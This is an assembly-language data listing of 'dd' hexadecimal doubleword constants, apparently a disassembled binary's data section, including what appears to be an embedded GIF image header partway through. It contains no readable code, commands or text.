dd 0EA34A54Ah, 0B800A3B7h, 1AAE5915h, 0AC1BB83Ch, 0AED900C1h
dd 0E2A3C88Ch, 1AF0AEA6h, 0B92B6189h, 9EB72B63h, 0EC0AC0BBh
dd 9CFB9CC0h, 0CAB9AA63h, 9C30C2F9h, 0BA6BA5A6h, 6A06DBABh
dd 0DC3CC3B0h, 0C3F064C3h, 0B1C40C3Bh, 0AC44C3DBh, 0C3EBA806h
dd 4A061062h, 3B20B18Ch, 0B21B22B2h, 0B8BB9C4Dh, 405AA89Bh
dd 0C57BC4B2h, 5AC59C58h, 0DBCBB2DCh, 0BCBC5EC5h, 6205F102h
dd 695A05FCh, 8BA8C58Ch, 6AC69075h, 0C07CC69Ch, 81C07F07h
dd 1AAC0819h, 0B7058188h, 898BEB89h, 0FF940793h, 69CE941Bh
dd 0A6AB0482h, 0B9A827FEh, 73A70C03h, 4B0D9D7Ah, 6B06D8Bh
dd 5806A066h, 0A0640659h, 0C8F9E19Eh, 3D065C3Fh, 9C96C39Ch
dd 0C3FC3EC3h, 61060060h, 4C9E0570h, 0CA1053B2h, 5D057A88h
dd 0FC4AC9C0h, 64CA8C3h, 45C4206Ah, 0FCA9C45Ch, 0C3CCA8CAh
dd 10B09BACh, 0C7FB05Bh, 0B9CB9F08h, 75086A29h, 508C095Bh
dd 9409409h, 0C4CC309Bh, 1CC3CC5Ch, 8CCBECCh, 9708ECBCh
dd 6086B9DBh, 0CCFCBB08h, 0A3080B9Dh, 8B0A074Bh, 0C96072BAh
dd 0ADCAFC44h, 0ACAFC99Ch, 0CE105DC4h, 0E2CA105Dh, 7CE6CE5Ch
dd 58CE3CEh, 50058CEAh, 0F04ACED0h, 48CF0CEh, 43CF3CF2h
dd 7CF6CF50h, 0CF5B2ECFh, 0F6CFAB2Dh, 0BCF2BC1Ch, 0B2D043CFh
dd 3E03D03Dh, 703503D0h, 0D09D08D0h, 0C030D09h, 0FD0A030Dh
dd 0D11D10D0h, 14D0DD0Fh, 702B030Dh, 0D19D18D1h, 1CD1BD1Ah
dd 6D1AD1DDh, 0D21D2002h, 24D23D22h, 7D2601FDh, 0FE9D28D2h
dd 0D2BD2AD2h, 64C61D2Bh, 95E963Ch, 8C183595h, 22C6AC6Bh
dd 81FC6E8h, 0D3BD3AC7h, 38B5D794h, 8BFF9CB9h, 9D5B69B6h
dd 2C84C83h, 0FBA4BA4Ch, 0B0FA6AC7h, 97C88A74h, 0EC3BBB0Ch
dd 5EC8FC8h, 8BC9DCA6h, 1057C9EAh, 0CA9C9B06h, 0DDBA9C45h
dd 0AC3FCB0Ch, 57D5AC4h, 0ED053CA1h, 0AA89050Ch, 0D6705204h
dd 58CA1050h, 7CE5D580h, 0D73D60CAh, 61D62CB0h, 8CB2CB00h
dd 0D48B0BCDh, 9CC04A72h, 0F07E07EBh, 8CCCFCCh, 0C208CD84h
dd 4CC6CC6Ch, 0D82D8509h, 80B9E086h, 0FD8F082Dh, 0B9907ED7h
dd 98CD9CD5h, 4D75CAECh, 0D76CA8D7h, 0EBCE2D76h, 8DA0D9FCh
dd 0DA1CE805h, 0EF050CEAh, 7DA8CF3Ch, 41CF6CFh, 0AEDADDACh
dd 1DAE03EDh, 0DAADACDBh, 5DAFDABh, 5D13D06Dh, 0DBBDBAD1h
dd 0AD12D0Ch, 0C030DBCDh, 0DC3DC202h, 1EDC2DC4h, 9025D1ADh
dd 0DCBDCADCh, 0CCDCDDCCh, 1020D2BDh, 3DFED2DDh, 0D2CDD3DDh
dd 29DD7DD6h, 3055102Dh, 0D30C63C6h, 6B95B959h, 8C306C0h
dd 0C6DD358Ch, 6DC6FC6Dh, 0FDEAD3CCh, 70A932ACh, 6D9CD940h
dd 6A70822Bh, 8BB07482h, 71BA49D8h, 4D4C822Ah, 0C89A758Bh
dd 0FFDFF951h, 2958C3CDh, 9E10609Eh, 9EB24C9Fh, 8D5BD54Ch
dd 0CAC060CAh, 9CD73CDEh, 3C9ED58Ch, 0A8BC5605h, 53D65CEDh
dd 0CC9BE120h, 0D77064D9h, 20D9CD61h, 0EE1EE21Eh, 0BADCB3E0h
dd 64B06CB4h, 6CBCC2BAh, 0D86D8508h, 2FD87CC1h, 0FD84D8AEh
dd 0D8DCCCCCh, 2ECB8B99h, 6A6FCD3Ch, 0D98C47CDh, 40E22CA9h
dd 205DD9DEh, 0D9FCE1D6h, 50E47D6Ch, 0EE18CEA0h, 0D67CECD6h
dd 0F4CF1058h, 1CF5DB4Ch, 0D03D03DBh, 58E5703Eh, 2D05E59Eh
dd 43DB3DBh, 0B7D04DAEh, 5D15D0BDh, 0DC5D1BDCh, 0BCD12DC0h
dd 0EDC6D17Dh, 0E6DDCED1h, 70DD4DCCh, 0E72E71Eh, 0D2ADD802h
dd 78E7701Ch, 0BE7AE79Eh, 0FE7BFEE7h, 55DDA01h, 0DEE81E80h
dd 1065C8DDh, 0D35D3495h, 7C07FD35h, 1E8B0810h, 81CE8E08h
dd 39C7AAFCh, 19C69399h, 0AFB93AE9h, 4C829CCh, 606EB06Bh
dd 0D7CD7BE2h, 0A8B0BC37h, 5EA4069Bh, 69EA6EAh, 0AAC9BC3Ch
dd 7E06C9BEh, 0D58A8CE0h, 0CEAAEABh, 1CB0E0DEh, 0E12EB1EBh
dd 0EED65D64h, 0FCF0CF1Ch, 0E4BD67CEh, 43CA4CA1h, 2E41E41Eh
dd 0CB1E20CEh, 9EBABC3Bh, 9B06072Eh, 80C3107h, 0D107ED80h
dd 7E31E2DCh, 0D8BE2FCCh, 7ED8FCCFh, 0D0739CA0h, 73EDEEDh
dd 80EDEEDCh, 0CECE0790h, 0CADC3AE3h, 0EAEC4CDFh, 605DCE0Eh
dd 0E4EE48E4h, 4CE4C058h, 9EBDD6CEh, 41CF7DAh, 59DB2E53h
dd 0AE5A041Eh, 0DADE5CE5h, 58DACE5Eh, 703903DEh, 35036D0h
dd 0ADC5DBAh, 0FDBCF0AFh, 0E6BDC0DBh, 6EE6CDC4h, 3025F13Eh
dd 0E73F15DDh, 75E74F18h, 701CD26Eh, 1FE79D2h, 1FF21E7Ch
dd 5E81E7FFh, 6F26F2FEh, 95895DF2h, 688C2DFFh, 0FDE6DE5Ch
dd 0F31E8EF2h, 507CD3Ah, 6792F347h, 80B01E9h, 1EB6C704h
dd 9B04C7E8h, 0F2CB0FC6h, 0BAB0B8C2h, 6E9D0728h, 0B09F47F4h
dd 60EA606Dh, 4F4D0650h, 0EABC8DE8h, 0E1EAC9E1h, 0DE14A899h
dd 0E09EC1A8h, 5CF5BEB6h, 0AE12EABFh, 0BBEEBBEBh, 0F0BBE048h
dd 9E4BE17Ch, 0F69EB8EBh, 0E6CE8C9Eh, 8D76D70Ch, 0C96C46ECh
dd 64D7DBADh, 1D939CAAh, 0E2DD83CDh, 0D0ED8F7Ah, 49CBED1Ch
dd 79F80EEh, 7FF82EE3h, 0BD96B05Fh, 0E42D9ACAh, 44CE1F6Ch
dd 0D053F8BEh, 4AEBBE4h, 0EFEBEDA6h, 2E50E48Eh, 0EFFDB4CFh
dd 60F03DADh, 8F9DE5AEh, 0F03F9AE5h, 8F06F05h, 0DF11D0CFh
dd 0E6502CD1h, 0BAD18E6Bh, 0CF0BD19Dh, 0DCAF14D1h, 27FB3F19h
dd 0ED26DD1Dh, 0FB7FB801h, 0BCFBBFB8h, 0FF22FBCFh, 0E7AFC0FBh
dd 201C016h, 7FC604E1h
dd 0FC8FC8F2h, 50E8495Bh, 0FE2DF429h, 0FC6CE88Fh, 0FD3FD2F2h
dd 2FFD5FD4h, 0CD42C32Fh, 0C699CA07h, 9C075C7Fh, 0AEA48BFEh
dd 0DFFEA78Bh, 0A706BEA4h, 706EEA6Eh, 0E03EA5FEh, 0ACF53C90h
dd 6F56D58Eh, 0E18E14B2h, 5BF5DEB0h, 4E18EB8Fh, 0CFF04AEFh
dd 65DA8F62h, 100F92Fh, 29942045h, 0B94E0D05h, 41E15092h
dd 2A110D86h, 0C26184Ch, 0C9153218h, 1198C1A8h, 1C8E1B63h
dd 43947CE5h, 401E0E87h, 0F200F280h, 4AD0D293h, 0BE5C8C43h
dd 0A588C984h, 0F27E4221h, 478934DCh, 809C4EE7h, 2911E276h
dd 32464DA7h, 444A2C61h, 0D2CBA61Ah, 30A70EA5h, 0B05DA85h
dd 95038696h, 0E482455Ch, 5DAE56EAh, 3ACD66BBh, 20D8AC44h
dd 0F59ACD65h, 5AED5691h, 0BEDC391Fh, 0ED839B85h, 6D6EB5DCh
dd 351A8D8h, 2C15DEC6h, 1C05FC56h, 16607058h, 1E16FB7Eh
dd 971589Ch, 3C418CC6h, 32591C86h, 2D950F64h, 399CC65Fh
dd 9DCE0733h, 0F6FE7F3Dh, 68F441ACh, 9F4DA5D2h, 0B5414D16h
dd 0FEFF0B06h, 0DB1D8139h, 0B5DA1549h, 92CED36Dh, 32EE7705h
dd 1ACCBBDh, 70CDDC0Eh, 1CEBC3E2h, 0CF9C9E47h, 9DCDE672h
dd 0BD0E873Fh, 0D5EA74E4h, 0AE3CF8F9h, 911A4E93h, 1A7BBDCh
dd 78FC5E1Fh, 87CDE5F2h, 0FD5E9307h, 21EAF67Ah, 45081C1Eh
dd 42956CAh, 98841A09h, 877EBF5Fh, 5D66B7F1h, 8625C022h
dd 0B040AB00h, 3EEF8AB6h, 0CA73DEFCh, 50BA84A1h, 2E8B2908h
dd 8EA328D2h, 24034238h, 0E9B8F091h, 98FC94A6h, 67112629h
dd 0EA6C3CAh, 453140E1h, 3158F238h, 0A4523C0Fh, 86340D03h
dd 0A3A8A8C2h, 2A0A5292h, 6A62A2A7h, 0B218AA0Ah, 0BCAD2B0Ah
dd 0B02BF222h, 0AE8B3AC6h, 0B262E2B4h, 6C952649h, 6ABBADEBh
dd 182F6190h, 31AC5AFAh, 4C33012Dh, 0D3132F31h, 0C6C9B1D2h
dd 33334C8Ch, 32CB4CFh, 0B364D735h, 8351364Dh, 54D34E33h
dd 364DFE73h, 0AD8CEF3Bh, 0D376DD0Ah, 7A2CB733h, 0E28D6E0Bh
dd 50AE4B8Ah, 34450F43h, 7BA2E551h, 0E23A8E2Eh, 373C9470h
dd 8D6F03CEh, 232B7CF0h, 3D28DE8Dh, 14F58CAFh, 0F6212F4Ah
dd 0A483418h, 4ABD4D53h, 0AA06ABC0h, 0AEFDA18Fh, 81481068h
dd 0C03012BEh, 0D0240621h, 82BAACC0h, 0A6818942h, 4D63050h
dd 0C22A7205h, 0A8B42689h, 0A3C8DC2h, 4D0E2469h, 99A549B2h
dd 5A697256h, 0F13C3E43h, 0A5B69145h, 45144543h, 8AC69192h
dd 21430C70h, 683D6108h, 2D63752Ah, 0FF04AA68h, 22C0B5D3h
dd 49324575h, 0F2949D28h, 62DD7C2Eh, 64BBAE2Bh, 1705C190h
dd 0CC2C04B2h, 52F84A15h, 0CBEBE30h, 0D0C904B3h, 0CACD9344h
dd 6298A4DCh, 2D535139h, 0E6378D63h, 0EB8DE3B8h, 3BE433C4h
dd 64B3F36Bh, 741502DFh, 6514E350h, 0F9765B9h, 0F00EA34Dh
dd 0E68F1D26h, 2DF502F1h, 68BC2F3Dh, 394DBD2Fh, 0C19D5FEh
dd 0F530AE2Fh, 1A159D8Ah, 0A753215Ah, 29559530h, 0AC025D6Ah
dd 8F8BE900h, 9BED06DDh, 6245E15h, 0B1ACF5ACh, 0C895D6BEh
dd 7B26C761h, 0E8AF05D8h, 348AD919h, 0E437662h, 5AD12C3Bh
dd 0F12A536Bh, 923F7044h, 0D1190E51h, 0A16F3700h, 55F50C6Ah
dd 7C26CAF8h, 0FC8F2158h, 0B78AC5Ah, 25DEDC4Ch, 72219ADDh
dd 4BB867C9h, 0C72FCB05h, 2DCD733Ch, 0CB727C9Fh, 0E041A069h
dd 0BD261AC1h, 0FE13D274h, 2F87E1ABh, 8B75B8ABh, 2AD362Fh
dd 0BDA63D38h, 7635DB76h, 45DD08CDh, 288A33BEh, 64A2889Ch
dd 0A2F0B3E1h, 137FE28Ch, 5B95E54Eh, 0F0D13476h, 520F3D0Ch
dd 0D9B3CD4Eh, 0E6859EBCh, 47ED7AF9h, 7621283Dh, 0C02255DFh
dd 755C87C5h, 0D70BC1ECh, 0CE21F11Ah, 0B02CDF62h, 70AAF5E5h
dd 287EABF9h, 53D689A2h, 0F70C42BBh, 0EEDE386h, 4CDB9441h
dd 1622643Eh, 780CDEDh, 0FE1A2044h, 5791346Ah, 0F3580BA1h
dd 0C2E1DF9Bh, 31F1B892h, 51686BEEh, 773A5C4Bh, 0CE6DCA97h
dd 4BB82A83h, 0B9873AE7h, 74709414h, 0EA1D33A6h, 102614B2h
dd 2F75C99Ch, 6405535Ch, 0A80AC338h, 0C4378689h, 0B76F0E21h
dd 0E9D21E43h, 8210421Fh, 46884EEh, 88910CD8h, 0EF9DF276h
dd 93BC3786h, 4F794705h, 5513DEA4h, 4E2A3D36h, 0DB3B3DAFh
dd 0E7AF165Eh, 0C149A63Dh, 0ABA416Ah, 4409011h, 86E2632h
dd 0F95F8462h, 0AF2456C6h, 3C2C4818h, 740E8B30h, 0D63A03C0h
dd 7BEE8ED1h, 0B8D8AEDFh, 0EAFE3647h, 48B3DA6Ch, 91B0B67Ah
dd 6E08C9BCh, 0E00225h, 6C220257h, 854504DDh, 12B8519Ch
dd 6C2DB7B8h, 0E0600C81h, 0C3FC53A2h, 72715F47h, 9F616482h
dd 3EB94519h, 83E5C1C7h, 2A6544A7h, 1330272Dh, 644C4C16h
dd 0EE9D31Ah, 5257B0C6h, 0CC2F03C6h, 0B0220561h, 52EE5E4Bh
dd 65FCBD86h, 0A0FE232Fh, 4C765D9Ah, 61EC3298h, 1AE87732h
dd 88133620h, 34268446h, 25C49363h, 2879112Eh, 0B514994Bh
dd 54E24DB9h, 0D1C06691h, 0B3D6A614h, 73922C33h, 6742A767h
dd 0AAF0A53Ah, 698D29C0h, 148AB9F2h, 544EA77Ch, 598D0129h
dd 0E53E6321h, 96394FB8h, 0ACF72C71h, 90914060h, 81063838h
dd 0A843A08Eh, 47606908h, 946FB63Ah, 58633415h, 60C6A6C2h
dd 0E9220F75h, 3A45D639h, 0B43437A2h, 40343C8h, 0E0E61E69h
dd 41B603C8h, 88CC8381h, 0C9642A8Ch, 5D12602Dh, 5724DABDh
dd 78C7982Ch, 4194928Dh, 0FB4E5280h, 0A81CB905h, 53F84B2h
dd 0F053506Ah, 40AE9F97h, 5CB829A8h, 0CB530350h, 62006616h
dd 78C7999h, 0D64B0960h, 0C28730C5h, 95566AC4h, 418F55B9h
dd 0F1AA0200h, 3AC5586Ah, 2C72B1D6h, 81C43EACh, 0D6B07010h
dd 0ADD346B5h, 118223BAh, 253C0892h, 98789356h, 0AE1AD402h
dd 0BE4DFE89h, 0E0AFD5F6h, 0D4A5A2ACh, 622C4E63h, 0F34768EFh
dd 89E84162h, 0D26506CEh, 252BD20h, 4649F258h, 9FF1BA3Dh
dd 1C81E044h, 85D08A0Fh, 3C2CA0EAh, 2D050220h, 9A0BD36Bh
dd 0A391A185h, 0A7400A81h, 91D21139h, 0ED24A12Dh, 207B6305h
dd 21AD9904h, 4B0302A0h, 19526907h, 7343A8A5h, 47706E00h
dd 1838227Ah, 45C792B0h, 0CB91726Eh, 0CD65EF04h, 6D2BEA48h
dd 9659456Ch, 496BECBAh, 0DA535D5h, 14D4783Ch, 0DFBBC090h
dd 0C1786F05h, 0AEEE182Bh, 0D82BBBE0h, 3306380h, 6C418A43h
dd 61B55532h, 5598672Eh, 29562FAh, 3AADCC3h, 0B080EBF4h
dd 0FCBFD7EEh, 1A042B25h, 0EAF6030h, 4607C0D8h, 0C0F8270h
dd 15B0D701h, 0C2004007h, 613C2183h, 8878430Ah, 1267CD93h
dd 93576C35h, 1FC3D5E1h, 31164DEEh, 4F44555h, 29FB546Dh
dd 0C8C07D55h, 726E0815h, 0E09D9482h, 5052C74Ch, 96723BFEh
dd 0E86033B3h, 0AF56BD67h, 2D2FB5F6h, 2AA11C75h, 0B803372Fh
dd 3DB5E0CCh, 41923246h, 0FA349639h, 620B6CAAh, 6B8F6E42h
dd 54891440h, 516657B8h, 5CBB8D71h, 0B9597426h, 9772E85Bh
dd 0C5D9020Bh, 67C93199h, 0ECE3F1F6h, 0ED7D2FA2h, 4C1CCD6Bh
dd 3BC54FEAh, 0C06EEFE7h, 0B3C677CEh, 0E74CE99Dh, 3063F3Ch
dd 0A040C196h, 0F64B94DBh, 0F2BE30BAh, 1404C0ADh, 2F4668BDh
dd 868FBFFAh, 1BF5A474h, 558B4A60h, 74C697C1h, 9AEC11A6h
dd 0D3D83817h, 0C418D6Bh, 39610C2Ah, 0A7C31842h, 4B5D70D6h
dd 0B7565846h, 0C6AED5DAh, 0A7B360DEh, 55485C5h, 0CF99026Bh
dd 5027C47Ch, 826BCEDAh, 9A239041h, 0B483C8E3h, 36066E80h
dd 50E7F646h, 50B5DAEBh, 8A4CA757h, 1BB8E6DCh, 0D0720F54h
dd 928A4F06h, 2F8DB25Ch, 7151E0BAh, 1415E38Bh, 26053098h
dd 5309852Ch, 8595E03Eh
dd 0FEE3C07Bh, 0EFDDD986h, 0C5BB8A66h, 8681D91Dh, 766A71D2h
dd 649B7612h, 0DBF5806Dh, 0D806FFDFh, 2DDFEBFh, 0BBD9D782h
dd 0C2784679h, 85018E13h, 81CEDC37h, 0D8060CAEh, 4E1A6884h
dd 0BF17E280h, 0F027A361h, 0FC778E00h, 78F5FF01h, 80EE39C8h
dd 0E4C0274Bh, 2794727h, 93729C0Ch, 2FE5DA6Bh, 5C037987h
dd 0BC108143h, 0FF36E6C0h, 0BD435B34h, 9CF01A73h, 353CFB06h
dd 0C49D53AAh, 0E8DD16C5h, 7E606F45h, 0DAE2A20Eh, 0B840A912h
dd 23B0825Ah, 0F4B22F4Ah, 7E44DB20h, 9833D58Bh, 6E5ED403h
dd 0C4CABB5h, 0B9773F52h, 7265BF6Bh, 0DA7B46D6h, 3883206Dh
dd 9CEB097h, 9506EFFh, 0AB80704Eh, 9702EEDDh, 0D2E1DA81h
dd 768AD86Ch, 42C04C57h, 0E5EF0397h, 0F0C18F29h, 0E1C39F87h
dd 4AA320C7h, 8FF1DBBEh, 9C58777Fh, 0E337EFADh, 0E777EF3Dh
dd 3EF1E5E0h, 0DE7413F7h, 7B9827F3h, 0F9FF45E8h, 0A0FE6C13h
dd 0F3B7A5F4h, 70CD0208h, 0F5DEAF3Ch, 0EC7D87AFh, 0F7ABF65h
dd 32D0FA08h, 45A2B8D4h, 37DCF21Eh, 0DE8CE33Ah, 3019C7BDh
dd 9F13E27Ch, 7E47C7E5h, 0F31E4FF2h, 0F9C02B03h, 0F47E87CFh
dd 0EA7D3FA5h, 0AE009F3Bh, 0B4084011h, 0DB9BFDAFh, 7DFE77Ch
dd 1741A87Fh, 33F31B03h, 9A8618E8h, 7EA54E80h, 0FDDFA674h
dd 0D37A384Bh, 0A8AA8412h, 256ED6Dh, 0A3FDFFBAh, 0A7FE03DEh
dd 0CFFFFF85h, 0C013FF8Bh, 6797E01Eh, 10BC81CBh, 0B7F18118h
dd 2A4060BCh, 18BD92A9h, 1870C12Ah, 0F312D8C7h, 829FAEF2h
dd 0B7F38001h, 0D137EBB9h, 5812382Bh, 3D5A5B38h, 0D23850C8h
dd 23D24133h, 414413B8h, 6B37EC0Fh, 0FAD7B6E3h, 82482181h
dd 2DBC8419h, 1C1BBC50h, 0BC73C683h, 1FC1981Fh, 9C1F41F0h
dd 24C20C1h, 28C20C20h, 0B81BCB1h, 414C13BDh, 1540F3D0h
dd 8011BCF4h, 0C29428C2h, 29BCE811h, 0EC2FEB4h, 880EC2C0h
dd 0C2E0093Dh, 0AC2F42Eh, 0A430C2F0h, 0C3000921h, 2E433430h
dd 4C322194h, 0BDDBDD43h, 37C373E2h, 8807BE1Ch, 3E0BE0C3h
dd 96438438h, 0D43C8043h, 804C3DC3h, 3FC3F3EAh, 1440803Ch
dd 0C42441C4h, 43C43442h, 54414444h, 8D700000h, 0A00287Fh
dd 33ED80B0h, 0C4A44981h, 15C4AC4Ah, 4815C4A0h, 36401740h
dd 0F7BFE364h, 1450C503h, 0B5E3F4C5h, 253C9B5Fh, 612997F1h
dd 406B8040h, 0B597C3B4h, 63CF425Bh, 0BD1BCF01h, 0CE8BFBCEh
dd 180D812Bh, 2A880D81h, 5D8102A8h, 142733B4h, 428C2746h
dd 0D742C00Ch, 0BC2E433Bh, 42CB4080h, 61C28C2Bh, 0E4614684h
dd 3B4C0D40h, 1C81D8B7h, 0FC1FC220h, 41C3C701h, 77826BC5h
dd 0C2046D3h, 0C1F471C7h, 1D81F81Dh, 8C0F3810h, 462468C5h
dd 11C27C2Ah, 0B80EC2C8h, 0C7A47980h, 7BC78C79h, 0D47AC78Ch
dd 0C65479C7h, 0DCC2E464h, 5805BFEh, 9481C7F0h, 390B4680h
dd 84C8443Bh, 6485C854h, 0C8743D80h, 343CC87h, 0A489C890h
dd 0C8B48AC8h, 4480348Bh, 0E00248D4h, 0C8F48EC8h, 90C9048Fh
dd 0C40C8FCh, 0BEC44680h, 0A2AF803h, 0F8CE8D00h, 8CF00F80h
dd 0C6498496h, 10C0C498h, 9D040618h, 9CC01C06h, 6C9CC9D4h
dd 0C0649EC0h, 0BA401C9Dh, 0C403BFE0h, 12A49F0Bh, 1812B12Ah
dd 64A58C28h, 0CA74A6CAh, 0D0CA5C59h, 2813CA63h, 0CAB0110Ch
dd 11CAC4ABh, 0C4284AB0h, 0CCABCAh, 0AF38BCABh, 0C4AB00BCh
dd 0C7CCB2C7h, 11479C7Ch, 0F80BCB48h, 0C7A3DCBDh, 0B8C7D80Ah
dd 0B47947ACh, 4BAC2C47h, 0B34B9CBBh, 7013C284h, 816C6847h
dd 1DCBF81Dh, 34C1CC10h, 826C6D47h, 0C4CC44C3h, 1C6D4C44h
dd 0CC2472CCh, 0C1473CC6h, 0F81DCC74h, 466C283Ch, 0CCCB947Ch
dd 0E4CDCCD4h, 0C7D4CECCh, 0D0CD0480h, 1486005Ch, 0CD14D2CDh
dd 60C88484h, 0D5CD54D4h, 0C4874D64h, 2C89C8h, 0D9802C89h
dd 0B4DACDA4h, 0CDB4DBCDh, 1CDD001h, 0F4DDCD98h, 0CE04DFCDh
dd 0E1CE14E0h, 64DF4E24h, 0CE449344h, 0E5CE54E4h, 74E6CE64h
dd 0CE84E7CEh, 0E9CE94E8h, 0B4EACEA4h, 0CEC4EBCEh, 0EDCED4ECh
dd 0F4EECEE4h, 0CF04EFCEh, 0F1CF14F0h, 34F2CF24h, 80CF3CFh
dd 3B00h, 0
dd 38464947h, 0B46139h, 0FBE70019h, 20212200h, 38583A1Fh
dd 3D163537h, 5C3C1C63h, 1C613D19h, 3E1F603Eh, 5F402360h
dd 2162411Fh, 421E6241h, 5D422865h, 1D3E3F41h, 48226B46h
dd 6D48236Eh, 1F684928h, 4646754Bh, 6F4D2546h, 21674B30h
dd 4F267B4Fh, 764F2774h, 27745128h, 542A7952h, 7B542B7Bh
dd 2C835625h, 59267F58h, 7A5A2E87h, 58865C2Eh, 5A435556h
dd 855E3071h, 336E5A47h, 5F32805Fh, 87603184h, 5A8C6130h
dd 6437595Ah, 5B5D5F88h, 388F6636h, 61628A66h, 62626260h
dd 3B906A3Ah, 664E8E6Ah, 946B3A80h, 3B8F6D40h, 6953966Eh
dd 91704181h, 47936E48h, 6A6C8E71h, 97734268h, 46856F58h
dd 75479473h, 9A764397h, 4283705Fh, 7849A176h, 71727497h
dd 4B9C7B49h, 795E9B7Ch, 9A7A5994h, 48777777h, 7778A980h
dd 85796D76h, 79A8804Bh, 7E6A7879h, 91807094h, 5FA48565h
dd 8282A289h, 97877083h, 85878583h, 90598585h, 0B59159B4h
dd 5D8A8887h, 8D73B592h, 948C84A6h, 8C8D8C8Bh, 908F8E8Dh
dd 0AC977191h, 95959494h, 9F669595h, 0A19990C1h, 92C1A16Ch
dd 9B92A199h, 0C2A36DA4h, 95AD9C8Ch, 9D8DA29Bh, 9D9B99A8h
dd 719B9B9Bh, 0A281C3A5h, 9F9F9FB4h, 8EA2A2A2h, 0B075BBAAh
dd 0CDAF7ECCh, 80CEB37Dh, 0ABABCFB4h, 0C2AF96ABh, 83BBAE9Eh
dd 0ACACD0B4h, 0C1B19AACh, 9EB2B0AFh, 0B5ABCAB7h, 0D6BB8EBBh
dd 0A8D9C185h, 0BC9DC7B9h, 0B6B7B8D1h, 0A3D9BF92h, 0B8B9CFBCh
dd 0D4BE9BB7h, 0ACD9C191h, 0C28FC8BBh, 0DAC38DD9h, 9CBABABAh
dd 0BBBBD8C1h, 0DAC29CBBh, 0BDDBC39Ah, 0C1A7BCBCh, 0DBC39ED2h
dd 9CCFC1AEh, 0C0C2DDC6h, 0DEC99CBEh, 0C2C1C1C1h, 0C3B8C1C1h
dd 0DFCA9BCEh, 9BE1CE93h, 0C4C4E1CDh, 0C5C5C5C4h, 0C6E1CF9Ah
dd 0C6C9C6C6h, 0E4CDA9C4h, 0AADBCCB1h, 0CBC6E5CFh, 0E6D1AACEh
dd 0AAD2CCC4h, 0CCCCE8D3h, 0D3CEC6CCh, 0AACDCDCDh, 0CFC6E9D5h
dd 0D3CFC7D4h, 0CCD4D0C6h, 0D1C7CFCFh, 0D5D2C7D5h, 0D2D0D0D0h
dd 0D9ABCED0h, 0D6D3C7EAh, 0BBD1D1D1h, 0D2D2E4D7h, 0EDDDABD2h
dd 0D2D8D6CAh, 0D5D5D5D4h, 0EEE0ACD5h, 0A9D6D6D6h, 0D8D7EFE2h
dd 0DADADAD9h, 0C3D8DADCh, 0DBDBEBE0h, 0D9DBDCDBh, 0DDDCDCDCh
dd 0DDDDDCDDh, 0DCDDDFDDh, 0DFDEDEDEh, 0DFE0DEDFh, 0F0E7CADFh
dd 0E5E0E2E3h, 0E3E3DFE2h, 0E4E4E4E3h, 0E8F1E7D9h, 0E6E6E3E5h
dd 0F5E9D8E6h, 0E9E8E8E8h, 0EAEAE9E9h, 0EEEBE8EAh, 0EBF4EDE1h
dd 0ECEDEBEBh, 0E9ECEFECh, 0EEEDEDEDh, 0EFEFEEEEh, 0EDEFF1EFh
dd 0F1EEF0F3h, 0F2F2F1F1h, 0F8F3EDF2h, 0F4F3F3F3h, 0F4F5F4F4h
dd 0F5F5F5F4h, 0F7FFFAE2h, 0F6F6F3F5h, 0FAF7F3F6h, 0F8F7F7F7h
dd 0F9F9F8F8h, 0FAFAFAF9h, 0FDFBFBFBh, 0FCFCFBFBh, 0FDFDFDFCh
dd 0FFFEFEFEh, 0FFFFFEFFh, 3 dup(0FFFFFFFFh), 4F921FFh
dd 0FF000A01h, 2C00h, 0B40000h, 8000019h, 0C9FF00FEh, 0D68B85EAh
dd 5EAF58ACh, 6A9562C1h, 0C487B118h, 489BFD8Eh, 8BC5A2B1h
dd 0DC6A3318h, 0C7A3B1C8h, 8A43208Fh, 184ED8DCh, 5CB75E30h
dd 8A6542A9h, 307DB614h, 4919EE63h, 983E62F3h, 0DCEA7335h
dd 0B422F3C9h, 713CA14Eh, 122964C2h, 93316AA5h, 1498E1C6h
dd 0FB9E3DE6h, 0B90CF5EAh, 0ABD4DF2Fh, 62058D3Ah, 215128B4h
dd 35BA9040h, 0A987098Dh, 0F6F48A55h, 6F89CBBDh, 0FB8FD61Fh
dd 1B9DBDF0h, 3A9CD752h, 71D0F476h, 0CDEE2E84h, 5ACC6DA6h
dd 26F39B6Ch, 7788C3DDh, 0C6831A96h, 0F044194Dh, 17A3CEE2h
dd 74BA9D8Fh, 1189F4E7h, 3EDE715Ch, 2671356Dh, 0E3DA4D1Eh
dd 0AE5A2C24h, 8F678A0Ch, 0DE70BBDEh, 4D9369B6h, 0CE179B8Eh
dd 13EDEB14h, 0E96DDA17h, 0FA2BC0DFh, 90C4D251h, 0CCE775BBh
dd 0AD469B79h, 9B703539h, 3DC154A2h, 0BFC530D1h, 0FD562967h
dd 0DFDF3377h, 0FEB4F398h, 513ECCC7h, 0E5DD4E34h, 0AD17A69Dh
dd 0EFF6FB3Dh, 0F787BF18h, 4C2DB19Dh, 0B69AFFF2h, 7C54F98Fh
dd 0E115F575h, 0E5254421h, 6CCDE37Ch, 0E0A334D7h, 9208D633h
dd 50530E42h, 0FF5C9F97h, 3FDE15B4h, 8F13ECE9h, 3C8F576h
dd 59FF3D13h, 0E57F4FB4h, 61113549h, 4EA3FD31h, 0C3FE1B5Ch
dd 0E4F43ECEh, 0FB8BA203h, 76A1C3A8h, 969764F8h, 13FE2688h
dd 64E13EE3h, 0EC452234h, 4D9DB454h, 5D93D515h, 0C8CCF85Bh
dd 0E513851Dh, 0C73488A1h, 32655954h, 4CE32CCBh, 0F0D87C34h
dd 504E1201h, 3D7E6477h, 88DF48FAh, 0DED88624h, 33A4FB45h
dd 9CF76E91h, 178AD143h, 4563089Eh, 24E76A39h, 7B9D57Bh
dd 60D99DA5h, 63461844h, 3FE41532h, 0DE59D5BAh, 823CFFA1h
dd 42902ECCh, 0C72FCB9Ah, 1C8CA330h, 0C1D0D040h, 95302C16h
dd 0AA363E54h, 0E937A469h, 7E5F49B1h, 4F945AA4h, 0B676897Fh
dd 0B9FEA04Fh, 3DCFFA9Dh, 1F89EE67h, 6AA5DAADh, 7D83AC24h
dd 4CA32846h, 0ABE88915h, 8FFB0A22h, 0A2B4C118h, 0D4ABB2ACh
dd 6F2F8C52h, 0B43C114h, 51D1A416h, 97E246A1h, 0E6D8B09Fh
dd 0BD759F47h, 0AC6C49BEh, 1157A116h, 0E9EDE5AEh, 82E844E4h
dd 8468246Bh, 0A8AC63EEh, 9306E9F5h, 691AE6B0h, 88B90C2Ch
dd 0A0BFAFE2h, 180A72D8h, 4310FC46h, 71981C08h, 8DEBB6ADh
